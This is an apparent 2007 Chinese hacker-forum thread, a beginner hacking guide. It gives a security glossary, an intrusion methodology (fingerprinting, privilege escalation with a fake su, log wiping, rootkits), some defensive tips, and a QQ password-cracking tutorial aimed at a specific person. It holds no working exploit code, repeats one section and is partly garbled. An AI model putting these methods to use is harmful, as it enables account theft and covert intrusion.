答：网络安全是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭到破坏、更改、泄露，系统可以连续可靠正常地运行，网络服务不被中断。

问：什么是计算机病毒？

答：计算机病毒 ( Computer Virus) 是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。

## 黑客入门 (超级详细版)

问：什么是木马？

答：木马是一种带有恶意性质的远程控制软件。木马一般分为客户端（client）和服务端（server）。客户端就是本地使用的各种命令的控制台，服务端则是要给别人运行，只有运行过服务器端的计算机才能够完全受控。木马不会像病毒那样去感染文件。

问：什么是防火墙？它是如何确保网络安全的？

答：使用防火墙（Firewall）是一种确保网络安全的方法。防火墙是指设置在不同网络（如可信任的企业内部网和不可信的公共网）或网络安全域之间的一系列部件的组合。它是不同网络或网络安全域之间信息的惟一出入口，能根据企业的安全政策控制（允许、拒绝、监视）出入网络的信息流，且本身具有较强的抗攻击能力。它是提供信息安全服务，实现网络和信息安全的基础设施。

问：什么是后门？为什么会存在后门？

答：后门（Back Door）是指一种绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段，程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道，或是在发布软件之前没有删除，那么它就成了安全隐患。

问：什么叫入侵检测？

答：入侵检测是防火墙的合理补充，帮助系统对付网络攻击，扩展系统管理员的安全管理能力（包括安全审计、监视、进攻识别和响应），提高信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息，并分析这些信息，检查网络中是否有违反安全策略的行为和遭到袭击的迹象。

问：什么叫数据包监测？它有什么作用？

答：数据包监测可以被认为是一根窃听电话线在计算机网络中的等价物。当某人在“监听”网络时，他们实际上是在阅读和解释网络上传送的数据包。如果你需要在互联网上通过计算机发送一封电子邮件或请求下载一个网页，这些操作都会使数据通过你和数据目的地之间的许多计算机。这些传输信息时经过的计算机都能够看到你发送的数据，而数据包监测工具就允许某人截获数据并且查看它。

问：什么是NIDS？

答：NIDS是Network Intrusion Detection System的缩写，即网络入侵检测系统，主要用于检测Hacker或Cracker通过网络进行的入侵行为。NIDS的运行方式有两种，一种是在目标主机上运行以监测其本身的通信信息，另一种是在一台单独的机器上运行以监测所有网络设备的通信信息，比如Hub、路由器。

问：什么叫SYN包？

答：TCP连接的第一个包，非常小的一种数据包。SYN攻击包括大量此类的包，由于这些包看上去来自实际不存在的站点，因此无法有效进行处理。

问：加密技术是指什么？

答：加密技术是最常用的安全保密手段，利用技术手段把重要的数据变为乱码（加密）传送，到达目的地后再用相同或不同的手段还原（解密）。

加密技术包括两个元素：算法和密钥。算法是将普通的信息或者可以理解的信息与一串数字（密钥）结合，产生不可理解的密文的步骤，密钥是用来对数据进行编码和解密的一种算法。在安全保密中，可通过适当的钥加密技术和管理机制来保证网络的信息通信安全。

问：什么叫蠕虫病毒？

答：蠕虫病毒（Worm）源自第一种在网络上传播的病毒。1988年，22岁的康奈尔大学研究生罗伯特·莫里斯（Robert Morris）通过网络发送了一种专为攻击UNIX系统缺陷、名为“蠕虫”（Worm）的病毒。蠕虫造成了6000个系统瘫痪，估计损失为200万到6000万美元。由于这只蠕虫的诞生，在网上还专门成立了计算机应急小组（CERT）。现在蠕虫病毒家族已经壮大到成千上万种，并且这千万种蠕虫病毒大都出自黑客之手。

问：什么是操作系统型病毒？它有什么危害？

答：这种病毒会用它自己的程序加入操作系统或者取代部分操作系统进行工作，具有很强的破坏力，会导致整个系统瘫痪。而且由于感染了操作系统，这种病毒在运行时，会用自己的程序片段取代操作系统的合法程序模块。根据病毒自身的特点和被替代的操作系统中合法程序模块在操作系统中运行的地位与作用，以及病毒取代操作系统的取代方式等，对操作系统进行破坏。同时，这种病毒对系统中文件的感染性也很强。

问：莫里斯蠕虫是指什么？它有什么特点？

答：它的编写者是美国康乃尔大学一年级研究生罗特·莫里斯。这个程序只有99行，利用了Unix系统中的缺点，用Finger命令查联机用户名单，然后破译用户口令，用Mail系统复制、传播本身的源程序，再编译生成代码。

最初的网络蠕虫设计目的是当网络空闲时，程序就在计算机间“游荡”而不带来任何损害。当有机负荷过重时，该程序可以从空闲计算机“借取资源”而达到网络的负载平衡。而莫里斯蠕虫不是“借取资源”，而是“耗尽所有资源”。

问：什么是DDoS？它会导致什么后果？

答：DDoS也就是分布式拒绝服务攻击。它使用与普通的拒绝服务攻击同样的方法，但是发起攻击的源是多个。通常攻击者使用下载的工具渗透无保护的主机，当获得该主机的适当的访问权限后，攻击者在主机中安装软件的服务或进程（以下简称代理）。这些代理保持睡眠状态，直到从它们的主控端得到指令，对指定的目标发起拒绝服务攻击。随着危害力极强的黑客工具的广泛传播使用，分布式拒绝服务攻击可以同时对一个目标发起几千个攻击。单个的拒绝服务攻击的威力也许对带宽较宽的站点没有影响，而分布于全球的几千个攻击将会产生致命的后果。

问：局域网内部的ARP攻击是指什么？

答：ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的进行。

基于ARP协议的这一工作特性，黑客向对方计算机不断发送有欺诈性质的ARP数据包，数据包内包含有与当前设备重复的Mac地址，使对方在回应报文时，由于简单的地址重复错误而导致不能进行正常的网络通信。一般情况下，受到ARP攻击的计算机会出现两种现象：

- 1.不断弹出“本机的XXX段硬件地址与网络中的XXX段地址”的对话框。
- 2.计算机不能正常上网，出现网络中断的症状。

## 黑客入门 (超级详细版 )

因为这种攻击是利用 ARP 请求报文进行“欺骗”的，所以防火墙会误以为是正常的请求数据包，不予拦截。因此普通的防火墙很难抵挡这种攻击。

问：什么叫欺骗攻击？它有哪些攻击方式？

答：网络欺骗的技术主要有：HONEYPOT 和分布式 HONEYPOT、欺骗空间技术等。主要方式有：IP 欺骗、ARP 欺骗、DNS 欺骗、Web 欺骗、电子邮件欺骗、源路由欺骗（通过指定路由，以假冒身份与其他主机进行合法通信或发送假报文，使受攻击主机出现错误动作）、地址欺骗（包括伪造源地址和伪造中间站点）等。

顶端 回复 引用

分享

only\_guest

耶稣

级别：论坛版主

作者资料发送短消息加为好友 UID: 114381

精华：32

发帖：462

威望：-12 点

黑豆：106 颗

贡献值：0 点

红豆：-50 颗

在线时间：7(小时)

注册时间：2007-10-23

最后登录：2009-02-24 27楼 发表于：2007-12-17 20:35 只看该作者 | 小 中 大

概论：黑客初级技术应用

网络安全从其本质上来讲就是网络上的信息安全。从广义来说，凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标，信息安全包括两个方面：信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全，如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全，有以下几个问题：

- ( 1 ) 对网络上信息的监听
- ( 2 ) 对用户身份的仿冒
- ( 3 ) 对网络上信息的篡改
- ( 4 ) 对发出的信息予以否认



### (5) 对信息进行重发

对于一般的常用入侵方法主要有

#### 1. 口令入侵

所谓口令入侵，就是指用一些软件解开已经得到但被人加密的口令文档，不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为“Crack”。由于这些软件的广为流传，使得入侵电脑网络系统有时变得相当简单，一般不需要很深入了解系统的内部结构，是初学者的好方法。

#### 2. 特洛伊木马术

说到特洛伊木马，只要知道这个故事的人就不难理解，它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中，这时合法用户的程序代码已被该变。一旦用户触发该程序，那么依附在内的黑客指令代码同时被激活，这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验，且要更改代码、要一定的权限，所以较难掌握。但正因为它的复杂性，一般的系统管理员很难发现。

#### 3. 监听法

这是一个很实用但风险也很大的黑客入侵方法，但还是有很多入侵系统的黑客采用此类方法，正所谓艺高人胆大。

网络节点或工作站之间的交流是通过信息流的转送得以实现，而当在一个没有集线器的网络中，数据的传输并没有指明特定的方向，这时每一个网络节点或工作站都是一个接口。这就好比某一节点说：“嗨！你们中有谁是要发信息的工作站。”

此时，所有的系统接口都收到了这个信息，一旦某个工作站说：“嗨！那是我，请把数据传过来。”联接就马上完成。

目前有网络上流传着很多嗅探软件，利用这些软件就可以很简单的监听到数据，甚至就包括口令文件，有的服务在传输文件中直接使用明文传输，这也是非常危险的。

#### 4. E-mail 技术

使用 email 加木马程序这是黑客经常使用的一种手段，而且非常奏效，一般的用户，甚至是网管，对网络安全的意识太过于淡薄，这就给很多黑客以可乘之机。

#### 5. 病毒技术

作为一个黑客，如此使用应该是一件可耻的事情，不过大家可以学习，毕竟也是一种攻击的办法，特殊时间，特殊地点完全可以使用。

#### 6. 隐藏技术

网络攻击的一般步骤及实例

##### 攻击的准备阶段

首先需要说明的是，入侵者的来源有两种，一种是内部人员利用自己的工作机会和权限来取不应该获取的权限而进行的攻击。另一种是外部人员入侵，包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。

进行网络攻击是一件系统性很强的工作，其主要工作流程是：收集情报，远程攻击，远程登录，取得普通用户的权限，取得超级用户的权限，留下后门，清除日志。主要内容包括目标分析，文档获取，破解密码，日志清除等技术，下面分别介绍。

##### 1. 确定攻击的目的

攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么样的目的，即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标，使

其不能正常工作，而不能随意控制目标的系统的运行。要达到破坏型攻击的目的，主要的手段是拒绝服务攻击 (Denial Of Service)。另一类常见的攻击目的是入侵攻击目标，这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍，威胁性也更大。因为黑客一旦获取攻击目标的管理员权限就可以对此服务器做任意动作，包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露，攻击者靠猜测或者穷举法来得到服务器用户的密码，然后就可以用和真正的管理员一样对服务器进行访问。

### 2. 信息收集

除了确定攻击目的之外，攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本，目标提供哪些服务，各服务器程序的类型与版本以及相关的社会信息。

要攻击一台机器，首先要确定它上面正在运行的操作系统是什么，因为对于不同类型的操作系统，其上的系统漏洞有很大区别，所以攻击的方法也完全不同，甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验，有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过 TELNET 连上一台机器时，如果显示

```
Unix(r) System V Release 4.0
```

```
login:
```

那么根据经验就可以确定这个机器上运行的操作系统为 SUN OS 5.5 或 5.5.1。但这样确定操作系统类型是不准确的，因为有些网站管理员为了迷惑攻击者会故意更改显示信息，造成假象。

还有一种不是很有效的方法，诸如查询 DNS 的主机信息（不是很可靠）来看登记域名时的申请机器类型和操作系统类型，或者使用社会工程学的方法来获得，以及利用某些主机开放的 SNMP 的公共组来查询。

另外一种相对比较准确的方法是利用网络操作系统里的 TCP/IP 堆栈作为特殊的“指纹”来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送特殊的包，然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个 FIN 的包（或者是任何没有 ACK 或 SYN 标记的包）到目标主机的一个开放的端口然后等待回应。许多系统如 windows、BSDI、CISCO、HP/UX 和 IRIX 会返回一个 RESET。通过发送一个 SYN 包，它含有没有定义的 TCP 标记的 TCP 头。那么在 Linux 系统的回应包就会包含这个没有定义的标记，而在一些别的系统则会在收到 SYN+RST 包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类，如早期的 Unix 系统是 64K 长度，一些新的 Unix 系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度，这项技术根据各个操作系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多，比较著名的有 NMAP、CHECKOS、QUESO 等。

获知目标提供哪些服务及各服务 daemon 的类型、版本同样非常重要，因为已知的漏洞一般就是对某一服务的。这里说的提供服务就是指通常我们提到的端口，例如一般 TELNET 在 23 端口，FTP 在对 21 端口，WWW 在 80 端口或 8080 端口，这只是一般情况，网站管理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以不同，我们管这种软件叫做 daemon，例如同样是提供 FTP 服务，可以使用 wuftp、proftpd、ncftp 等许多不同种类的 daemon。确定 daemon 的类型版本也有助于黑客利用系统漏洞攻破网站。

另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息，例如网站所属公司的名称、规模，网络管理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系，实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站管理员用自己的电话号码做系统密码，如果掌握了该电话号码，就等于掌握了管理员权限进行信息收集可以用手工进行，也可以利用工具来完成，完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快，可以一次对多个目标进行扫描。

攻击的实施阶段

### 1 获得权限

当收集到足够的信息之后，攻击者就要开始实施攻击行动了。作为破坏性攻击，只需利用工具发动攻击即可。而作为入侵性攻击，往往要利用收集到的信息，找到其系统漏洞，然后用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了，但作为一次完整的攻击是要获得系统最高权限的，这不仅是为了达到一定的目的，更重要的是证明攻击者的能力，这也符合黑客的追求。

能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞，也包括由于管理配置不当而造成的漏洞。前不久，因特网上应用最普及的著名 www 服务器提供商 Apache 的主页被黑客攻破，其主页面上的 Powered by Apache 图样（羽毛状的图画）被改成了 Powered by Microsoft Backoffice 的图样，那个攻击者就是利用了管理员对 Webserver 用数据库的一些不当配置而成功取得最高权限的。

当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍，据统计 80% 以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作详细解释。

无论作为一个黑客还是一个网络管理员，都需要掌握尽量多的系统漏洞。黑客需要用它来形成攻击，而管理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息，可以到诸如 Rootshell ([www.rootshell.com](http://www.rootshell.com))、Packetstorm ([packetstorm.securify.com](http://packetstorm.securify.com))、Securityfocus ([www.securityfocus.com](http://www.securityfocus.com)) 等网站去查找。

### 2 权限的扩大

系统漏洞分为远程漏洞和本地漏洞两种，远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大，黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限，而往往只是一个普通用户的权限，这样常常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大，常常是扩大至系统的管理员权限。

只有获得了最高的管理员权限之后，才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大，不但可以利用已获得的权限在系统上执行利用本地漏洞的程序，还可以放一些木马之类的欺骗程序来套取管理员密码，这种木马是放在本地套取最高权限用的，而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限，那么他就可以在这台机器上放置一个假的 su 程序。一旦黑客放置了假 su 程序，当真正的合法用户登录时，运行了 su，并输入了密码，这时 root 密码就会被记录下来，下次黑客再登录时就可以使用 su 变成 root 了。

## 黑客入门 (超级详细版)

顶端 回复 引用

分享

only\_guest

耶稣

级别：论坛版主

作者资料发送短消息加为好友 UID: 114381

精华：32

发帖：462

威望：-12 点

黑豆：106 颗

贡献值：0 点

红豆：-50 颗

在线时间：7(小时)

注册时间：2007-10-23

最后登录：2009-02-24 28楼 发表于：2007-12-17 20:35 只看该作者 | 小 中 大

### 菜鸟黑客入门攻击及防范技巧

在正式进行各种“黑客行为”之前，黑客会采取各种手段，探测（也可以说“侦察”）对方的主机信息，以便决定使用何种最有效的方法达到自己的目的。来看看黑客是如何获知最基本的网络信息——对方的 IP 地址；以及用户如何防范自己的 IP 泄漏。

#### 获取 IP

“IP”作为 Net 用户的重要标示，是黑客首先需要了解的。获取的方法较多，黑客也会因不同的网络情况采取不同的方法，如：在局域网内使用 Ping 指令，Ping 对方在网络中的名称而获得 IP；在 Internet 上使用 IP 版的 QQ 直接显示。而最“牛”，也是最有效的办法是截获并分析对方的网络数据包。如图 1 所示，这是用 Windows 2003 的网络监视器捕获的网络数据包，可能一般的用户比较难看懂这些 16 进制的代码，而对于了解网络知识的黑客，他们可以找到并直接通过软件解析截获后的数据包的 IP 包头信息，再根据这些信息了解具体的 IP。

#### 隐藏 IP

虽然侦察 IP 的方法多样，但用户可以隐藏 IP 的方法同样多样。就拿对付最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头 IP 信息的“Norton Internet Security 2003”。不过使用“Norton Internet Security”有些缺点，譬如：它耗费资源严重，降低计算机性能；在访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏 IP 的方法应该是使用代理，由于使用代理服务器后，“车

址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户 IP 的网络软件（QQ、MSN、IE 等）都支持使用代理方式连接 Internet，特别是 QQ 使用“ezProxy”等代理软件连接后，IP 版的 QQ 都无法显示该 IP 地址。这里笔者介绍一款比较适合个人用户的简易代理软件——网络新手 IP 隐藏器（如图 2），只要在“代理服务器”和“代理服务器端”填入正确的代理服务器地址和端口，即可对 http 使用代理，比较适合由于 IP 版 QQ 泄漏 IP 的情况。

不过使用代理服务器，同样有一些缺点，如：会影响网络通讯的速度；需要网络上的一台能够提供代理能力的计算机，如果用户无法找到这样的代理服务器就不能使用代理（查找代理服务器时，可以使用“代理猎手”等工具软件扫描网络上的代理服务器）。

虽然代理可以有效地隐藏用户 IP，但高深的黑客亦可以绕过代理，查找到对方的真实 IP 地址，用户在何种情况下使用何种方法隐藏 IP，也要因情况而论。

黑客的探测方式里除了侦察 IP，还有一项——端口扫描。通过“端口扫描”可以知道被扫描的计算机哪些服务、端口是打开而没有被使用的（可以理解为寻找通往计算机的通道）。

### 一、端口扫描

网上很容易找到远程端口扫描的工具，如 Superscan、IP Scanner、Fluxay（流光）等（如图 1），这就是用“流光”对试验主机 192.168.1.8 进行端口扫描后的结果。从中我们可以清楚地了解，该主机的哪些非常用端口是打开的；是否支持 FTP Web 服务；且 FTP 服务是否支持“匿名”，以及 IIS 版本，是否有可以被成功攻破的 IIS 漏洞也显示出来。

### 二、阻止端口扫描

防范端口扫描的方法有两个：

#### 1. 关闭闲置和有潜在危险的端口

这个方法有些“死板”，它的本质是——将所有用户需要用到的正常计算机端口外的其他端口都关闭掉。因为就黑客而言，所有的端口都可能成为攻击的目标。换句话说“计算机的所有对外通讯的端口都存在潜在的危险”，而一些系统必要的通讯端口，如访问网页需要的 HTTP（80 端口）；QQ（4000 端口）等不能被关闭。

在 Windows NT 核心系统（Windows 2000/XP/2003）中要关闭掉一些闲置端口是比较方便的，可以采用“定向关闭指定服务的端口”和“只开放允许端口的方式”。计算机的一些网络服务会有系统分配默认的端口，将一些闲置的服务关闭掉，其对应的端口也会被关闭了（如图 2）。进入“控制面板”、“管理工具”、“服务”项内，关闭掉计算机的一些没有使用服务（如 FTP 服务、DNS 服务、IIS Admin 服务等），它们对应的端口也被停用了。至于“只开放允许端口的方式”，可以利用系统的“TCP/IP 筛选”功能实现，设置的时候，“只允许”系统的一些基本网络通讯需要的端口即可（关于“TCP/IP 的筛选”，请参看本期应用问题）。

#### 2. 检查各端口，有端口扫描的症状时，立即屏蔽该端口

这种预防端口扫描的方式显然用户自己手工是不可能完成的，或者说完成起来相当困难，需

要借助软件。这些软件就是我们常用的网络防火墙。

防火墙的工作原理是：首先检查每个到达你的电脑的数据包，在这个包被你机上运行的任何软件看到之前，防火墙有完全的否决权，可以禁止你的电脑接收 Internet 上的任何东西。当第一个请求建立连接的包被你电脑回应后，一个“TCP/IP 端口”被打开；端口扫描时，对方计算机不断和本地计算机建立连接，并逐渐打开各个服务所对应的“TCP/IP 端口”及闲置端口，防火墙经过自带的拦截规则判断，就能够知道对方是否正进行端口扫描，并拦截掉对方发送过来的所有扫描需要的数据包。

现在市面上几乎所有网络防火墙都能够抵御端口扫描，在默认安装后，应该检查一些防火墙所拦截的端口扫描规则是否被选中，否则它会放行端口扫描，而只是在日志中留下信息而已。

黑客在进行攻击前的准备工作，就此介绍完毕。在以后的内容中，将转入正式的入侵、窃听和攻击等具体的介绍。

上网了吧，用 QQ 了吧，被盗了吧，正常。想上网吧，想用 QQ 吧，不想被盗 QQ 吧，正常。那就来了解一些盗 QQ 方面的知识吧！

## 一、名词解释

### 1. 字典

所谓字典，其实就是一个包含有许多密码的文本文件。字典的生成有两种方式：用字典软件生成和手动添加。一般字典软件能生成包含生日、电话号码、常用英文名等密码的字典，不过由于这样生成的字典体积大，而且不灵活，所以黑客往往会手动添加一些密码到字典里去，形成一个“智能化”的密码文件。

### 2. 暴力破解

所谓暴力破解，其实就是用无数的密码来与登录 QQ 的密码进行核对，直到相同为止。暴力破解这种方法不仅可以运用在盗 QQ 上，在破解其它密码时也常用这种方法，如：破解系统管理员密码等。这是最常用的一种破解方式。

## 二、原理分析

现在盗 QQ 的软件有两种，本地破解和远程破解。看起来好像挺神秘的，其实说穿了就那么回事。下面咱们先来看看本地破解。

### 1. 本地破解

本地破解其实就是用软件选择一个在本地登录过的 QQ 号码，然后挂上字典进行密码核对。本地破解也可分为两种：暴力破解和本地记录。而暴力破解又分为两种：按顺序增加和通过字典对比。比如现在我要破解 QQ 号为 123456 的密码，我可以用 1 作为密码进行核对，如果正确就可以盗走该号了，如果不正确，则用 2 来核对，还不正确，则用 3，以此顺序增加，直到和密码相同为止。不过这样的破解效率是很低的，因为许多人的密码并不只是数字，所以这种方法并不常见。

平时常用的是通过对比字典中密码的方法，如果正确就盗走 QQ。因为字典可以做得很“智能化”，所以这种破解效率相对较高，特别是当你的密码是简单的数字，或是数字加一些英文名时特别明显。举个例子，比如我在网吧看到一 MM 的英文名为 alice，密码位数为 8 位（我怎么知道的？晕！偷看到的嘛！）。从常理来讲，一般她的密码就是 alice 加上一些数字。于是我可以利用易优超级字典生成器制作这样一个字典：把 alice 做为特殊字符排在密码的第 1 位（如图 1），然后把基本字符里的数字全部选上，再将密码位数设为 8，然后选好保存位置点“生成字典”。

图 1

打开生成的字典，你就可以看到 alice000 alice00 等密码了（如图 2）。然后就是把 alice 放在第 2-6 位，第 3-7 位，第 4-8 位，其它位置同样用数字填满。接下来我只要用软件把这些字典挂上进行破解，很快就可以得到 QQ 密码了。

图 2

顶端 回复 引用

分享

only\_guest

耶稣

级别：论坛版主

作者资料发送短消息加为好友 UID: 114381

精华：32

发帖：462

威望：-12 点

黑豆：106 颗

贡献值：0 点

红豆：-50 颗

在线时间：7(小时)

注册时间：2007-10-23

最后登录：2009-02-24 29楼 发表于：2007-12-17 20:36 只看该作者 | 小 中 大

攻击的善后工作

1.日志系统简介

如果攻击者完成攻击后就立刻离开系统而不做任何善后工作，那么他的行踪将很快被系统管理员发现，因为所有的网络操作系统一般都提供日志记录功能，会把系统上发生的动作记录下来。所以，为了自身的隐蔽性，黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法，首先要了解常见的操作系统的日志结构以及工作方式。Unix 的日志文件通常放在下面这几个位置，根据操作系统的不同略有变化

/usr/adm——早期版本的 Unix

/var/adm 新一点的版本使用这个位置。

/ Varflort一些版本的 Solaris Linux BSD Free BSD使用这个位置。  
/ etc, 大多数 Unix版本把 Utmp放在此处, 一些 Unix版本也把 Wtmp放在这里, 这也是 Syslog . con的位置。

下面的文件可能会根据你所在的目录不同而不同:

acc或 pacct - 记录每个用户使用的命令记录。

accesslog主要用来服务器运行了 NCSA HTTP服务器, 这个记录文件会记录有什么站点连接过你的服务器。

aculd保存拨出去的 Modem记录。

lastlog记录了最近的 Login记录和每个用户的最初目的地, 有时是最后不成功 Login的记录。

loginlog记录一些不正常的 Login记录。

messages——记录输出到系统控制台的记录, 另外的信息由 Syslog来生成

security记录一些使用 UCF系统企图进入限制范围的事例。

sulog记录使用 su命令的记录。

utmp记录当前登录到系统中的所有用户, 这个文件伴随着用户进入和离开系统而不断变化。

Utmpx, utmp的扩展。

wtmp记录用户登录和退出事件。

Syslog最重要的日志文件, 使用 syslogd守护程序来获得。

## 2 隐藏踪迹

攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了(只对常规 Unix系统而言), 包括日志文件, 所以一般黑客想要隐藏自己的踪迹的话, 就会对日志进行修改。最简单的方法当然就是删除日志文件了, 但这样做虽然避免了系统管理员根据 IP追踪到自己, 但也明确无误地告诉了管理员, 系统已经被人入侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别, 网络上有许多此类功能的程序, 例如 zap wipe等, 其主要做法就是清除 utmp wtmp Lastlog和 Pacct等日志文件中某一用户的信息, 使得当使用 w who las等命令查看日志文件时, 隐藏掉此用户的信息。

管理员想要避免日志系统被黑客修改, 应该采取一定的措施, 例如用打印机实时记录网络日志信息。但这样做也有弊端, 黑客一旦了解到你的做法就会不停地向日志里写入无用的信息, 使得打印机不停地打印日志, 直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上, 即使用 loghost。即使是这样也不能完全避免日志被修改的可能性, 因为黑客既然能攻入这台主机, 也很可能攻入 loghost。

只修改日志是不够的, 因为百密必有一漏, 即使自认为修改了所有的日志, 仍然会留下一些蛛丝马迹的。例如安装了某些后门程序, 运行后也可能被管理员发现。所以, 黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做 rootkit, 这类程序在一些黑客网站可以找到, 比较常见的有 LinuxRootKit, 现在已经发展到了 5.0版本了。它可以替换系统的 ls ps netstat inetd等一系列重要的系统程序, 当替换了 ls后, 就可以隐藏指定的文件, 使得管理员在使用 ls命令时无法看到这些文件, 从而达到隐藏自己的目的。

攻击的善后工作



### 1.日志系统简介

如果攻击者完成攻击后就立刻离开系统而不做任何善后工作，那么他的行踪将很快被系统管理员发现，因为所有的网络操作系统一般都提供日志记录功能，会把系统上发生的动作记录下来。所以，为了自身的隐蔽性，黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法，首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位置，根据操作系统的不同略有变化

/usr/adm——早期版本的Unix

/var/adm新一点的版本使用这个位置。

/var/flort一些版本的Solaris Linux BSD Free BSD使用这个位置。

/etc, 大多数Unix版本把utmp放在此处，一些Unix版本也把wtmp放在这里，这也是Syslog.conf的位置。

下面的文件可能会根据你所在的目录不同而不同：

acct或pacct - 记录每个用户使用的命令记录。

accesslog主要用来服务器运行了NCSA HTTP服务器，这个记录文件会记录有什么站点连接过你的服务器。

aculd保存拨出去的Modems记录。

lastlog记录了最近的Login记录和每个用户的最初目的地，有时是最后不成功Login的记录。

loginlog-记录一些不正常的Login记录。

messages——记录输出到系统控制台的记录，另外的信息由Syslog来生成

security记录一些使用UUCP系统企图进入限制范围的事例。

suolog记录使用su命令的记录。

utmp记录当前登录到系统中的所有用户，这个文件伴随着用户进入和离开系统而不断变化。

Utmpx, utmp的扩展。

wtmp记录用户登录和退出事件。

Syslog最重要的日志文件，使用syslogd守护程序来获得。

### 2 隐藏踪迹

攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了（只对常规Unix系统而言），包括日志文件，所以一般黑客想要隐藏自己的踪迹的话，就会对日志进行修改。最简单的方法当然就是删除日志文件了，但这样做虽然避免了系统管理员根据IP追踪到自己，但也明确无误地告诉了管理员，系统已经被入侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别，网络上有许多此类功能的程序，例如zap wipe等，其主要做法就是清除utmp wtmp Lastlog和Pacct等日志文件中某一用户的信息，使得当使用who whoa last等命令查看日志文件时，隐藏掉此用户的信息。

管理员想要避免日志系统被黑客修改，应该采取一定的措施，例如用打印机实时记录网络日志信息。但这样做也有弊端，黑客一旦了解到你的做法就会不停地向日志里写入无用的信息，使得打印机不停地打印日志，直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上，即使用loghost。即使是这样也不能完全避免日志被修改的可能性，因为黑客既然能攻入这台主机，也很可能攻入loghost。

只修改日志是不够的，因为百密必有一漏，即使自认为修改了所有的日志，仍然会留下一些蛛丝马迹的。例如安装了某些后门程序，运行后也可能被管理员发现。所以，黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做 rootkit，这类程序在一些黑客网站可以找到，比较常见的有 LinuxRootKit，现在已经发展到了 5.0 版本了。它可以替换系统的 ls ps netstat inetd 等一系列重要的系统程序，当替换了 ls 后，就可以隐藏指定的文件，使得管理员在使用 ls 命令时无法看到这些文件，从而达到隐藏自己的目的。

### <8>库后门

